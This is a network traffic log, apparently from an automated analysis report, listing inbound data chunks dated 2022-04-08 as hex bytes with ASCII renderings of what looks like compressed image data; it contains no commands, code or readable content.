2022-04-08 08:02:43 UTC5148INData Raw: 31 9b 81 93 19 0e d3 34 87 31 b5 d1 a3 40 14 83 51 44 04 8a 90 4b 7e d5 3c 32 32 3b d3 55 28 5c de ab 33 b4 68 bf 67 73 4a 6e 4f 6f 1c 90 8b 14 13 5e 4a ff 00 bc 5a a7 21 f1 11 b1 cb 80 4b 96 58 a6 d9 88 4a f5 d8 ff 00 0c 95 a2 da e4 02 88 c7 d9 63 5a 8a d7 6c 08 55 bb 69 04 44 28 fd dd 00 dc ef fd b8 42 b7 6d 66 b3 a2 af c4 97 4d 22 ad 64 21 63 e0 7a 1f e6 af f0 c0 4b 30 8f bb 8b 4f b1 43 0d bb 34 b3 a3 86 12 9a 81 51 e0 be 15 f1 c8 f1 26 91 22 fa 5a 31 2f c9 88 e4 c5 9a 80 d4 74 db 23 c2 c9 2f 7b e9 15 0a d6 aa fd 76 a7 4d 86 4b 84 32 05 0c 93 2d 45 79 16 20 d0 13 df 0f 0b 30 51 22 e1 5c 92 5b 81 65 a1 34 3b 1f 97 8e 44 86 68 eb 18 c5 ea fa 61 f9 10 38 a1 34 af fb 2a f6 ca c9 66 15 bd 39 62 91 6d 55 19 8b 29 f8 be d5 7b 54 65 72 90 1b b9 31 8b 2e f2 fc
Data Ascii: 141@QDK~<22;U(\3hgsJnOo^JZ!KXJcZlUiD(BmfM"d!czK0OC4Q&"Z1/t#/{vMK2-Ey 0Q"\[e4;Dha84*f9bmU){Ter1.
2022-04-08 08:02:43 UTC5156INData Raw: b3 aa 86 24 0f 1f 7e b9 ba fc a8 11 a7 27 09 b2 ad ac cb 64 f6 93 c5 3c 8b f5 a7 89 4c 7e 95 49 2d 21 2c d5 a1 23 e7 df 06 0c 46 32 b0 e7 92 f3 39 b4 5b fb e8 b9 e9 cc a4 1a 16 50 7a 75 fb 5f 3a 74 ce b2 12 17 bb ad 90 27 92 eb 2b 89 b4 b4 36 ad c0 dd 4a 01 1c 37 e1 5d a8 69 b5 7d 8f 4c 35 67 66 3b 8e 69 4c 77 c8 f7 92 a4 ac 17 60 08 23 e1 3c 4f 46 f1 cc 8e 12 03 8a 4a 1e fa 14 bd b9 79 ed e0 08 aa bb ac 42 a0 53 bf b6 5b 03 42 8b 54 82 ad 84 0a d2 24 73 56 ae 68 29 ed db 21 22 a1 98 68 36 a3 55 99 b4 e6 fd cc 3f b6 f2 0a 04 a7 b6 c3 db 30 32 1e 1d dc a8 9b d9 6d b4 72 fd 64 5a 5b 81 2d c4 4c c9 c8 10 02 c6 3a 15 ae c7 28 b0 45 b7 79 04 c3 57 d1 52 d5 52 74 ba 59 ef 1d 44 c2 48 a2 25 85 76 68 a5 09 df 6f 84 fd f9 8e 00 96 c5 19 63 dc 95 cf ab ea 5f 56 54
Data Ascii: $~'d<L~I-!,#F29[Pzu_:t'+6J7]i}L5gf;iLw`#<OFJyBS[BT$sVh)!"h6U?02mrdZ[-L:(EyWRRtYDH%vhoc_VT
2022-04-08 08:02:43 UTC5164INData Raw: f6 73 a2 c3 2e 28 f1 17 2a 27 65 6b 0f 25 eb 7a 9b 41 14 d1 47 0c 37 11 99 96 49 64 50 04 63 ed 3f 5a d7 f9 56 99 54 f5 31 8f 2e 6d a0 5a 1d bc 81 77 14 df 59 92 54 83 4f 62 04 73 4a 40 e6 3a 1a 20 f8 b9 0f e5 a5 33 1f 26 b8 08 5d 13 2e e4 53 24 83 cb fa 4a a4 56 b6 31 3d cc bc 1c a1 50 4c ae 47 7e 51 7d 85 5f b4 7a f1 5c e6 7f 33 92 72 e2 97 a7 c9 84 a0 7a 30 4d 77 cb 57 b3 5c 41 24 70 c7 e9 cd ca 86 22 ee bc 94 ee 58 bf c5 9d 3e 9b 5d 03 1e 7c 9a 80 de 91 11 79 2e 28 10 49 2c c2 5e 41 9b d3 01 94 d0 75 35 3d 28 7a b6 0f e5 08 c8 50 72 06 34 4e 82 9a 9e 93 3c cb 24 0f 31 8c 07 01 a8 c0 02 7a d4 91 51 4f da 5c 72 4a 39 28 82 1b 46 cb 66 f3 45 dc b6 13 58 44 4c 9a 83 dd 89 bd 6a 0e 4a 8a 3e c8 ae 64 c3 18 1b 96 b3 2d a8 37 63 af 6a 3a 4d c0 ba 94 19 23 21
Data Ascii: s.(*'ek%zAG7IdPc?ZVT1.mZwYTObsJ@: 3&].S$JV1=PLG~Q}_z\3rz0MwW\A$p"X>]|y.(I,^Au5=(zPr4N<$1zQO\rJ9(FfEXDLjJ>d-7cj:M#!
2022-04-08 08:02:43 UTC5180INData Raw: 83 02 d2 85 9e 93 39 b8 55 89 88 8d 5a bc db a0 c8 4a 4c a3 07 a2 d8 89 ad 42 88 68 93 b9 fd db 31 06 a2 9b 9a 1c a8 39 44 a8 c7 62 ef a9 8b 69 63 32 35 cc 95 e6 00 22 b4 a9 f8 7f 86 59 cd a8 0e 8b ed 6d 44 37 b2 2d a5 ab 71 4e a4 2d 0e dd 76 c0 2d 95 2f 9f 4a 67 9d a7 b9 62 61 60 08 5f 9f ea a6 1b 64 01 53 b0 b7 33 bf a0 ee 9c 77 a2 06 e8 a3 fa e3 22 9e 6b b5 8b d1 a7 2a 24 41 f8 9a d4 01 ff 00 11 34 df 2a 0c 24 69 71 be 96 4b 3a 23 a1 76 a5 5d f6 0a a7 b1 af 7c 2a a5 67 65 0c 30 bf d6 17 f7 88 4f 16 4d b9 7b 95 c1 24 84 ca da 58 ef 2c 64 59 50 b0 41 40 08 a7 20 3f 56 41 b4 a9 5b db 4b 24 4f f5 08 78 17 a7 ef b7 15 f6 a7 b0 c0 84 5d c1 6b 70 3e b1 b3 7c 2a c5 80 15 f7 c2 96 ee 18 4f ce c9 62 72 8c 09 27 90 1c 85 3b 1c 34 d6 52 67 b0 b7 6d 31 fe aa 94 11
Data Ascii: 9UZJLBh19Dbic25"YmD7-qN-v-/Jgba`_dS3w"k*$A4*$iqK:#v]|*ge0OM{$X,dYPA@ ?VA[K$Ox]kp>|*Obr';4Rgm1
2022-04-08 08:02:43 UTC5196INData Raw: 93 ea ad 63 71 b4 86 b4 a0 f0 39 94 d9 48 6f 42 df 9a b2 12 10 9e 80 54 fd 07 be 4c 35 a3 9e d6 e1 10 38 aa 26 df 6a a0 7c 8e 46 91 48 bd 2e 4b a5 32 d8 17 1e 9d c8 0a 78 80 49 03 a0 af 50 2b 91 90 1c d1 c4 8f ba f2 9d 95 94 f1 4d 08 7f 59 80 14 26 a2 bf e7 db 2a 19 0f 26 76 4a 4d aa 49 75 69 73 fa 3e 24 75 69 37 90 15 35 af f1 5c ba 20 11 69 a7 ff d4 e7 fa 79 9f 51 29 6d e8 99 2d c6 e4 20 a9 a8 e9 5a 0f a7 34 e0 39 71 3d e9 c7 d4 a7 7e 4e 8c 51 05 07 01 e1 f3 ae 26 9b 12 dd 5f 4b 92 1b 88 6e e4 91 d9 ab c4 29 22 9b f4 00 f6 c1 6a b5 16 ea da 62 f3 28 12 30 01 10 74 eb d4 e2 59 0d 95 e5 d5 17 cb b2 44 a8 55 4b 96 f5 49 1c 80 27 a5 17 a1 c9 24 49 3d 8e ea 32 a2 f6 50 cf 6f 18 dc aa d5 4b 53 f6 a9 ff 00 11 c0 9d 91 50 de c3 24 71 c9 1b 70 0d 4d 9b e1 22 9d
Data Ascii: cq9HoBTL58&j|FH.K2xIP+MY&*&vJMIuis>$ui75\ iyQ)m- Z49q=~NQ&_Kn)"jb(0tYDUKI'$I=2PoKSP$qpM"
2022-04-08 08:02:43 UTC5204INData Raw: 37 2a 49 03 e2 e3 b0 07 f8 e6 3c e6 ce d1 51 da fa 72 2d 14 80 18 8f 55 3e d5 08 ad 28 db 1a 7c b2 83 34 19 2b da e9 33 df 4b 1c f7 4c e2 17 a8 e4 63 0a 68 07 51 4e a7 28 9e 7a 0d 67 22 65 61 a3 6a 12 2c 91 45 68 f2 48 9f 65 8a 96 24 75 d8 2f fc 6d 98 b2 97 11 68 32 b4 35 d5 c0 86 dd a3 24 20 2c 39 86 53 d4 7d a1 96 00 c5 57 4b b4 9f 5f f5 63 b5 21 02 f1 dd 14 d4 83 b0 58 c7 73 94 66 cf 1c 7c db 40 25 98 e9 9e 5d d4 12 58 6d ac e4 0d 70 ca ca d0 48 f4 8e 35 1d d9 d0 d5 45 0d 78 81 bb 66 b3 f3 91 c8 69 b3 1c 4c 8d 07 b2 69 4f 69 e4 db 37 e0 de b6 a7 70 a3 94 c5 42 28 00 74 51 d4 46 3b 33 7c 47 25 13 5c af 77 65 1c 54 37 79 6f 9e 3f 35 2c 35 a1 fa 22 3f f4 a9 58 8f 56 7e 0a aa 8c 0f 44 a0 ab 50 7c 3c b3 61 18 19 6e 5c 59 c8 03 41 23 8d 16 58 41 6f dc d2 40
Data Ascii: 7*I<Qr-U>(|4+3KLchQN(zg"eaj,EhHe$u/mh25$ ,9S}WK_c!Xsf|@%]XmpH5ExfiLiOi7pB(tQF;3|G%\weT7yo?5,5"?XV~DP|<an\YA#XAo@
2022-04-08 08:02:43 UTC5220INData Raw: 4a 87 8a 46 00 70 71 fb 24 1e aa dd 0f be 44 82 91 bf 34 e5 a0 2f 39 40 bc 64 04 86 53 dc 9d ea 46 63 12 df 10 a3 75 75 75 1d ed 20 51 c9 9b 81 3d 00 51 b5 06 48 51 16 d8 36 64 fa 77 95 75 cd 7a 1f 5e 1b 39 4d b5 02 ac aa bc 56 bd aa 5c 80 47 fa b9 8b 39 80 e4 01 4f 40 b2 fc ae b1 b6 8c de 5f ea 76 a9 54 15 85 47 aa c0 ff 00 2b 52 80 1e bd 33 5b 2d 48 6e 09 8d d8 f2 b5 a5 9a 3d dd ba dc f0 52 58 c8 a2 25 3b ed c8 26 ef c7 df 30 06 59 1f a5 26 51 ea a1 77 f9 9f 63 65 04 50 e9 7c 63 40 7e 11 02 88 eb b7 56 60 05 40 ec 0e 23 0c e4 77 d9 a6 59 23 d1 85 ea fe 73 ba 9e fd a4 8a 46 49 29 b9 62 64 2e 4f ed 53 a2 8f 96 6d 71 e9 80 1b ee e3 4b 21 2c 72 6d 57 55 d4 58 7c 6c f4 62 c5 41 20 76 fe 39 94 34 f1 ee 68 32 2a 9a 67 95 75 6d 72 40 0c 4c 22 73 50 5f 6a 57 7d
Data Ascii: JFpq$D4/9@dSFcuuu Q=QHQ6dwuz^9MV\G9O@_vTG+R3[-Hn=RX%;&0Y&QwceP|c@~V`@#wY#sFI)bd.OSmqK!,rmWUX|lbA v94h2*gumr@L"sP_jW}
2022-04-08 08:02:43 UTC5236INData Raw: 22 1f 8c 72 f8 06 db 67 31 93 b4 21 29 71 03 7b f0 47 6e 9d f1 97 29 6e ec 23 84 80 f2 79 bf 29 74 b1 70 89 69 aa 41 23 31 20 2c a0 a1 51 d2 bb f8 64 06 b8 5d 0d d7 c3 7a 57 e4 1f e5 25 ba 79 b0 6a 32 6a 70 dc c7 a6 bb 37 d5 e3 35 e6 c5 68 92 0a ef c1 0f fc 36 66 69 66 33 e4 bd bd 3c fb cf b9 84 c9 84 5f 60 0c ea 1d 73 58 ab 58 0a 54 dc d0 66 3c 99 84 ba fb 4e 87 54 82 5b 49 d7 9c 53 46 d1 b8 22 a0 ab 0a 10 7d b3 16 58 84 f6 ef 14 e4 46 7c 1b f7 3e 20 b8 d2 e5 4b c8 ec e5 5e 69 eb 98 ea 9b 02 23 24 54 8e b4 6f c3 be 71 11 9d c6 ed ea 27 14 6e a5 35 c8 91 da 05 56 3c 4a 04 63 40 36 e5 cb 35 92 14 4d 38 93 91 0c 66 09 da 4d 51 64 9d 40 54 4f 52 46 6a 90 0d 7b 53 fe b9 ca a5 b3 8b 77 cd eb de 58 93 42 bd d0 2d a5 b8 47 91 e2 0c d2 05 e4 ee 0b 13 f1 70 1d 39
Data Ascii: "rg1!)q{Gn)n#y)tpiA#1 ,Qd]zW%yj2jp75h6fif3<_`sXXTf<NT[ISF"}XF|> K^i#$Toq'n5V<Jc@65M8fMQd@TORFj{SwXB-Gp9
2022-04-08 08:02:43 UTC5243INData Raw: b1 32 44 44 88 77 23 b2 93 f3 ef 99 10 36 e3 4e 28 ad 2a 18 e2 88 c8 67 8c 3b 82 3d 30 2a c0 78 93 b0 c8 cc b1 88 4c 2d ee 1e c2 ce e0 7a 51 3c 2c 54 16 61 57 1e c9 fc b9 51 08 29 70 ba f5 be 18 a8 00 3d 3b d3 bd 72 74 d6 d3 5d dc 92 3d 34 55 5d f7 1f c4 64 f8 43 12 a4 f6 a2 45 2e 68 64 db 7e fb e1 b4 04 25 e2 b8 40 26 35 4e 80 1e a3 2c 89 64 be 18 22 9d 56 3b 25 e3 4d dd 9b a9 f9 76 c4 9e f5 a4 5a 28 8e 32 9f 6c 77 ae e7 2a 3b a1 09 30 56 61 24 69 53 4d f7 a6 48 2d 28 dc 3d c3 2f c0 3d 34 20 7c 35 03 7f 1c b6 34 84 35 bd bd e3 4a 0a 21 34 fd a1 d0 64 a5 48 29 bc 96 10 5e 5c 15 8c aa 3a 7c 5c c9 22 b4 fe 27 b6 63 71 10 d7 6d dd 59 35 dc 7c e6 3c 1b c7 a9 a7 b8 c8 89 53 5f 15 22 62 9f f4 6d a3 5a c4 5b 97 ec b5 78 ee 7a e5 52 16 6d 81 dd 0a 79 5e 15 36 ea
Data Ascii: 2DDw#6N(*g;=0*xL-zQ<,TaWQ)p=;rt]=4U]dCE.hd~%@&5N,d"V;%MvZ(2lw*;0Va$iSMH-(=/=4 |545J!4dH)^\:|\"'cqmY5|<S_"bmZ[xzRmy^6
2022-04-08 08:02:43 UTC5259INData Raw: cb 10 36 cc 79 f2 42 32 2b 88 21 9d 9a 4f 8a 27 52 08 6a f5 f1 ca 6a d9 23 a4 f4 26 b2 50 84 c6 46 e1 41 f0 f7 eb 94 46 26 d9 5a 12 59 65 2c 41 66 65 00 00 ee 68 47 d1 99 9c 37 bb 5f 15 3f ff d0 e3 da 8e a7 73 31 f5 2f 2e c3 a6 d4 3c a8 00 1d a9 f6 b3 55 4d 86 65 04 9e 6f 8a 36 f4 ca d4 0f b0 ca 48 dc f7 c9 70 16 43 2a 06 ef 54 7b a9 7d 46 6e 52 54 d1 db ed 6f d3 ee cb 40 a6 b2 6d 07 18 95 07 29 15 9c b1 a1 35 dc 1f a7 12 18 15 58 6d 22 bb 94 09 40 e1 52 7e d0 00 ff 00 6e 44 58 67 10 b9 63 b6 af a6 c4 71 1b 83 52 29 4e d4 19 36 c0 9e 40 1a fa 37 8a 07 fd e5 36 22 bf e7 be 45 b0 8d 96 58 cd f5 04 68 ae 57 b5 4b 12 4d 08 f6 c8 91 6b 12 a3 7d aa 49 3c d1 7a 43 84 4a c0 92 46 ed f3 1f cb 84 0a 41 36 ed 6a f1 dc 02 cd 42 77 2a a3 66 df 6e 58 80 a5 0b 67 c5 41
Data Ascii: 6yB2+!O'Rjj#&PFAF&ZYe,AfehG7_?s1/.<UMeo6HpC*T{}FnRTo@m)5Xm"@R~nDXgcqR)N6@76"EXhWKMk}I<zCJFA6jBw*fnXgA
2022-04-08 08:02:43 UTC5275INData Raw: a8 01 c9 2a 15 7a b5 07 2a d3 f9 b2 40 53 02 12 f4 d6 64 2c ca cc ca ca db d0 f7 1f d3 c3 07 0b 45 a1 af 21 bb 9a 46 5b 79 05 11 83 b2 af 5a 1f db 5a fe a1 96 00 c0 85 05 b1 14 69 6d d2 b7 23 91 8c 8f 88 95 1b b1 65 c9 82 2d 1c 29 7c 5a 6c b3 1e 64 72 f5 14 f5 1f 66 9e 39 91 c4 39 37 c6 29 c6 8b 6e f0 c1 eb 82 ab c1 b8 d3 a3 92 3a 28 3d 97 b9 ca cc 92 42 1a f6 e2 e2 0b b8 e5 91 da 49 db 6d 8d 7e 16 a8 34 c9 30 25 57 49 48 fd 62 25 03 88 61 c4 75 e5 d8 f5 db 6c a2 7c d8 5a 67 70 7d 28 bd 75 70 1d 5c 46 c0 75 2a 4f 51 e1 43 b7 d3 90 60 83 9d ef 3d 77 10 20 54 a9 ab 57 f1 c2 1a b7 43 4e ad 24 7c 59 c8 92 8b e0 0e dd c9 cb 80 6c 01 b6 8a 19 2f 12 2e 35 7e 42 ae 7b 50 0a 8f 0c b0 36 05 1b 8b 0f 56 e1 e6 f8 38 02 68 0d 29 4f 7e f5 c2 4b 31 16 96 fe e8 f1 8c c8
Data Ascii: *z*@Sd,E!F[yZZim#e-)|Zldrf997)n:(=BIm~40%WIHb%aul|Zgp}(up\Fu*OQC`=w TWCN$|Yl/.5~B{P6V8h)O~K1
2022-04-08 08:02:43 UTC5283INData Raw: 82 b5 21 97 a3 02 7b 11 e1 8c 62 c8 a4 13 5b db 6b 89 e9 c5 32 c7 24 5b b6 fd 13 c2 95 eb f4 66 c2 17 17 12 5b a3 6d e4 b5 ba 82 28 dd ab 24 52 d6 80 81 55 4e 83 e4 c7 23 26 36 13 38 af 6c 75 6d 3c c1 3a ac 72 2b 34 95 55 07 9d 0f d9 3d fa 7c 3b e6 01 06 26 db ac 14 26 a9 a9 5f ea 97 6b 6f 1c 3c 23 8d 4d 02 ad 48 53 d2 a4 57 7e d9 3c 51 10 1c dc 49 0a 40 ae 9b 75 a9 dc bb 2d 64 b7 44 01 99 7a 02 07 4f 0e be 39 69 cf 18 6d 7b b8 73 c9 48 59 b4 38 6c 89 8e 42 0a 3d 5d b9 28 0d ec 07 1f 87 32 e1 9b 89 80 22 49 45 dd 94 31 46 d2 c5 56 0e c4 ef 5f 84 8e d9 97 09 5a 48 46 68 f6 f2 dc c1 23 20 69 15 78 82 9b d6 a7 a1 03 db 21 92 40 15 10 b4 05 e6 9f 2c c4 db 49 14 81 e3 63 c6 bb fc c7 2a 6c 3e 79 64 72 00 2e dc 79 c7 a2 79 67 a7 de 69 11 ac 56 e8 f1 09 fe 19 1e
Data Ascii: !{b[k2$[f[m($RUN#&68lum<:r+4U=|;&&_ko<#MHSW~<QI@u-dDzO9im{sHY8lB=](2"IE1FV_ZHFh# ix!@,Ic*l>ydr.yygiV
2022-04-08 08:02:43 UTC5291INData Raw: 54 b9 6e 87 6a a8 ae 54 36 0c 0b 1d 83 4b 7d 23 51 9e e6 5b 88 52 fa 25 0e 63 60 42 3c 47 7f dd bf c3 cb 7d a9 4f 87 31 27 8c 83 76 19 63 9d 17 d0 7e 45 d7 2c 75 6d 15 2f 2c 4a c8 29 46 a1 dd 4f 56 56 db b1 c7 09 00 12 37 a7 22 5b d1 4e ef ef a5 64 5a d4 21 5f b3 40 7f 1c ab 51 98 d6 fc bf 1d 56 31 16 97 c2 ad 14 94 0d c4 13 db ae c6 b9 af 88 20 f3 6d 2c d2 ce 55 56 59 14 12 58 7d d9 d6 e2 9d 10 47 5f b1 d7 ca 36 c8 e3 3c d4 1e 99 d1 44 d8 b7 5a 76 52 bd 96 0b 7b 69 66 b9 60 90 22 33 3b 35 08 55 02 a4 9a f8 60 94 84 45 93 40 6f 7d ca 05 9d 9f 0c cf 2c 5e a4 cb 66 44 8c d3 1e 20 29 8c 38 57 24 30 1f 0f 1e 7f 69 b3 cc b2 61 f1 37 bb fd 3b bb f0 68 25 ba fe b2 81 19 67 5f 4d 49 21 57 7a 03 e0 bd f8 e5 31 d3 19 9e 4e 34 e5 61 ec df f3 8b 3f 96 b2 c4 c7 cf 1a
Data Ascii: TnjT6K}#Q[R%c`B<G}O1'vc~E,um/,J)FOVV7"[NdZ!_@QV1 m,UVYX}G_6<DZvR{if`"3;5U`E@o},^fD )8W$0ia7;h%g_MI!Wz1N4a?
2022-04-08 08:02:43 UTC5307INData Raw: 91 87 2f 73 fe d6 65 48 ba e9 9a 64 ba 24 f3 e9 7a 03 c7 35 52 05 1e a1 a3 02 43 36 d4 5e dd 3a e6 25 93 b3 6c 4d 06 19 15 ec da b4 c1 64 50 b5 61 4a 1d 80 5e e7 e6 3a e6 41 8f 0a 41 b4 e3 49 bb 3f a4 e1 f4 d4 7a 56 ed 50 2a 54 16 3d 29 df 2b 11 b6 7c d9 ad b7 9a 75 7b 4b a9 6c 66 67 ad c8 a1 77 1e a1 3f 0f c2 a3 9f 45 5e c3 b7 5c c0 ca 0d d3 3b a0 f4 cd 57 cb 56 97 5a 19 b9 8a 47 fd 27 05 11 1b 6f de 93 40 79 6d f0 d3 f6 4f fc 0e 63 67 c0 25 1b 1f 50 e5 e6 cb 9a 51 f9 71 f9 a3 2f e5 79 95 2f 26 17 50 dc 39 69 61 1b 15 e1 b1 91 4e e2 a7 a5 33 5b a3 d5 cf 4a 7d 02 c4 be a8 b2 30 12 d8 be c3 d3 35 3b 6d 52 d6 2b ab 66 0f 14 d1 ac 8b 46 07 66 15 1d 33 d1 b1 e5 8e 48 89 47 a8 e2 fe d7 5b 28 98 94 72 8a 0e 99 90 03 51 71 a1 22 b5 af 6c 55 64 a9 40 78 fd ae d8
Data Ascii: /seHd$z5RC6^:%lMdPaJ^:AAI?zVP*T=)+|u{Klfgw?E^\;WVZG'o@ymOcg%PQq/y/&P9iaN3[J}05;mR+fFf3HG[(rQq"lUd@x
2022-04-08 08:02:43 UTC5323INData Raw: c7 ed 0a d3 e0 df 70 bb e6 93 36 82 70 37 02 61 d7 d2 4c 39 7f 55 be 19 bb f7 f7 8b 7a 56 93 f9 e7 e6 8d 1a c9 13 59 b2 8e e0 2a ff 00 bd 26 40 bc 98 d5 a8 45 0e fc 7a 7e 39 b1 c5 af d4 62 02 26 a5 e7 3b e2 df be 6c 65 8e 07 73 63 dd c9 99 e9 ff 00 9f fe 4c d5 a4 78 ee 24 92 d9 e3 8c 33 19 12 aa 4d 37 55 65 aa 92 33 68 3b 5f 14 85 cc 18 fc 38 bf dc b4 f8 04 72 20 a7 76 d7 ba 0f 98 95 6e 74 fb 88 a5 04 54 80 c3 6a 56 9f 0f 55 cc 30 70 66 a9 44 8f 3f e1 ef e8 79 36 7a a2 96 de 68 9c 50 55 4b 06 ae ca 39 71 1f e4 d3 f6 4e 63 cb 4b 43 91 fb eb f6 24 64 4a e4 f2 e4 94 12 38 22 36 f8 41 3b 30 3f 2f 9e 62 1d 2c 86 f5 b3 60 c8 3a 20 ee 3c bd 71 0d 49 5a f4 2b 43 5a f8 f5 df 19 69 c8 6c 19 01 4b 24 b1 25 ba 00 7f 57 cf 31 b8 59 f1 05 8f a6 4a ea ce 54 f1 51 53 b7
Data Ascii: p6p7aL9UzVY*&@Ez~9b&;lescLx$3M7Ue3h;_8r vntTjVU0pfD?y6zhPUK9qNcKC$dJ8"6A;0?/b,`: <qIZ+CZilK$%W1YJTQS
2022-04-08 08:02:43 UTC5331INData Raw: cb fb 64 b6 09 7b fd e3 31 e2 43 51 fe 4c 05 45 3c 0e 63 cf b6 65 c7 71 fa 7b 9b 06 4b 36 c3 fc c9 a1 cb a0 dc 05 53 50 c4 91 4a d0 0a ec 39 1a 67 4f a3 d5 8c e2 dc a8 ee c7 dd ba 29 20 d7 36 81 9b ff d6 f3 13 cc 5b 74 50 23 02 95 f7 1e 19 8d 4c dc b2 44 65 26 3d e4 2a 36 f1 c8 10 8b 57 81 96 20 39 55 40 04 6d fc df 3c ac ab 68 81 29 1f 22 54 9a 9a 1d be fe b5 c8 73 65 48 ae 50 16 56 09 c4 03 b8 27 af 6d b2 34 82 50 b7 32 c9 1d 44 75 21 76 1b 74 18 40 b6 08 35 45 20 ac c0 b3 9f 7c b4 21 74 4b d0 c6 f4 f7 ad 29 ed 8d 28 45 da a4 82 27 7e 47 85 00 35 14 ad 7a 01 91 21 9d a2 18 da bd 2d db 97 14 5a 92 a7 a3 1f e9 80 0e a8 40 db 98 e2 57 e2 e0 d6 a2 bb e4 d5 08 3e b2 80 32 51 96 4d 8e d4 02 99 36 04 37 0c 32 46 c6 a6 85 85 37 c5 14 51 71 01 c9 7d 4d c2 d2 bb
Data Ascii: d{1CQLE<ceq{K6SPJ9gO) 6[tP#LDe&=*6W 9U@m<h)"TseHPV'm4P2Du!vt@5E |!tK)(E'~G5z!-Z@W>2QM672F7Qq}M
2022-04-08 08:02:43 UTC5347INData Raw: 74 e4 d8 8d 18 c9 94 77 e6 92 5f f9 c7 48 d4 2a 64 92 47 61 d4 23 70 a5 3a 11 4f da ff 00 2b 33 30 e8 72 c3 a0 6c 24 21 a3 d7 34 74 82 49 16 09 6e 24 8f 65 79 dc 48 c0 1f 6c cf 96 19 93 d0 5b 01 1b 4a 23 97 4a d5 25 fa a4 c7 d0 26 ae 66 23 95 29 fb 2a a3 32 61 8e 50 dd aa 5c d2 b9 f5 96 df 84 cc de 95 28 82 a1 58 0e 9b 66 74 70 77 b1 ae 89 a5 af 9b 75 4d 42 c8 96 b8 60 f1 8a aa 10 38 15 fe 53 b7 eb ca 72 69 c0 96 e8 11 a4 4e 9b f5 ab cd 38 dc d1 c5 5b e2 08 4a b5 07 87 88 f6 cc 69 63 11 95 30 ba 42 6b 5a 3d 8d cd b7 aa e1 c0 a7 f7 8d 50 c0 9f 15 23 7c d9 e0 cd 2c 66 83 74 67 4f ff d1 f3 7c 97 0e df 6e bb 81 ba 8a 13 9a f0 1b 2d 55 64 8e 05 a3 72 2b 42 28 3a d6 bd 0d 70 98 21 b3 1f a8 55 a1 01 08 5e db 91 f3 fe cc 6a 96 d4 25 49 e6 42 23 a0 3d 0a 80 40 34
Data Ascii: tw_H*dGa#p:O+30rl$!4tIn$eyHl[J#J%&f#)*2aP\(XftpwuMB`8SriN8[Jic0BkZ=P#|,ftgO|n-Udr+B(:p!U^j%IB#=@4
2022-04-08 08:02:43 UTC5363INData Raw: 75 52 db 84 30 99 65 d6 96 31 5c 5a af d6 26 4b 71 2a b2 2a 2f db 65 e8 49 fe 5f 6a e6 8a 53 30 3c 51 f5 11 f6 35 02 c2 ed fc a3 a4 5a 5c 5c 19 a6 33 00 41 89 da 32 88 08 3f 64 3d 6a 4a fe d6 75 19 3b 42 73 80 ad bb d6 53 25 65 ff 00 93 ae ee ed a4 92 09 ed 9e 23 fb b0 e5 8b 70 23 e2 d9 69 c8 57 c5 46 0c 1a d8 e1 90 bb f3 4c 65 dc 81 f2 be 81 6b 65 14 8b 34 9c b5 06 3f 68 6c aa be 1c 5e 87 f0 cb f5 da d3 90 8e 11 50 fb d9 99 82 51 ad a5 47 14 a0 c4 11 ae 54 f3 01 54 f6 ee 47 47 fa 33 0f c7 24 51 e4 c2 45 99 db 7a 8f 6c 9e a2 45 13 ec 7f 7a 38 03 5e bc 57 7f d5 9a 19 0b 91 dd 88 0d 3f 98 de d5 3f 46 5c 22 1b 33 f6 d4 91 43 f4 d2 b5 1e d9 38 e2 24 58 2d c0 d2 1e e2 2b 79 24 4e 17 11 b2 30 f8 1d 7e ca 0e d5 56 c9 08 98 ed f3 64 45 b1 fb cb 6d 04 5c fd 5a 2d
Data Ascii: uR0e1\Z&Kq**/eI_jS0<Q5Z\\3A2?d=jJu;BsS%e#p#iWFLeke4?hl^PQGTTGG3$QEzlEz8^W??F\"3C8$X-+y$N0~VdEm\Z-
2022-04-08 08:02:43 UTC5371INData Raw: 9a ac 17 29 c6 a4 74 a0 6a fc a9 ed 9b 4d 3e a2 24 51 fb 7e e6 9c 90 21 8b f9 fa ee d7 4f d2 ae 2e ee 00 11 42 86 4a 81 bd 3b 8f 9e 0c 90 13 d8 0f 72 c0 bc 23 ce 17 d3 5e d8 73 84 10 92 2a ba 07 00 12 0f 4a 8a ec 2b fc d9 91 87 4f c2 6d 32 25 e3 1e 64 d6 23 b3 b7 36 97 12 b2 dc bb 56 4a 8a 82 bd b8 f1 da 95 fe 5c df 42 1d ce 3c a7 d1 1d a3 e9 d6 fe 5a 78 ee ad 60 b9 43 32 06 92 5b 84 2a c7 6d d5 79 75 1e fe 19 5e 59 a7 18 a5 ad 23 bc cd eb 29 aa 38 a2 91 5a 07 15 fb e9 4c d6 4a 5d 1b 99 a6 97 a9 f1 b5 5b 18 90 ad a3 46 79 96 3f ee c0 39 50 53 b9 fe 19 80 79 ee d8 0a 75 14 10 5e 48 b7 34 07 9c 35 62 ab 4a b8 3f 08 3e 34 c9 0e 69 20 25 1a e5 8f 08 8c 6a 40 10 80 58 81 52 ec 5b e2 a7 86 fb 57 2d 2e 3c 82 75 e5 7b c9 2e f5 5b 78 2c a3 0b 23 95 92 52 47 20 ab
Data Ascii: )tjM>$Q~!O.BJ;r#^s*J+Om2%d#6VJ\B<Zx`C2[*myu^Y#)8ZLJ][Fy?9PSyu^H45bJ?>4i %j@XR[W-.<u{.[x,#RG
2022-04-08 08:02:43 UTC5387INData Raw: 99 08 cb 88 c6 a5 e8 81 e1 11 ef e2 3d 25 fd 1a 2d 02 7c b6 f9 96 59 e4 db e6 be 77 86 95 54 ea e5 49 3f ea d7 a0 fd 79 d6 76 1e 63 92 66 1d 23 b9 95 1e 2d ea a3 7f 4c 7d df 53 ae d5 8e 11 6c cd 19 19 8a 77 1b 74 ce e6 24 59 0e 98 83 56 94 6b d0 19 ed c1 d9 64 46 0c a5 b7 02 87 a9 e9 51 9a 7d 7c 49 85 ed 71 22 43 8b e9 fb e2 e5 e0 34 52 9d 57 cb 4b 35 b9 49 7e 21 4d be 01 41 ee 07 8f 87 23 98 5a 8d 05 c6 8e ff 00 e6 8f b0 77 fb cb 64 33 6e 91 da 69 17 f1 42 5a 78 99 e3 60 55 8b 32 97 20 6c 29 40 fd b3 5b 8f 4d 90 46 e4 09 1c 8d 91 c5 f0 da 6e 4c b2 0b db ee 61 5a cd 9a 1b bf 4e f8 fe ed 4d 16 28 e8 a4 0f f5 80 51 ff 00 1b 36 6a 32 c7 d5 52 3f e6 8f e6 ff 00 a5 88 72 20 2c 58 f9 a5 fa 97 94 6c 1f 4f d3 27 b2 ba b8 b9 b4 37 73 ce e1 e2 54 e1 1a 00 ae 0f 11
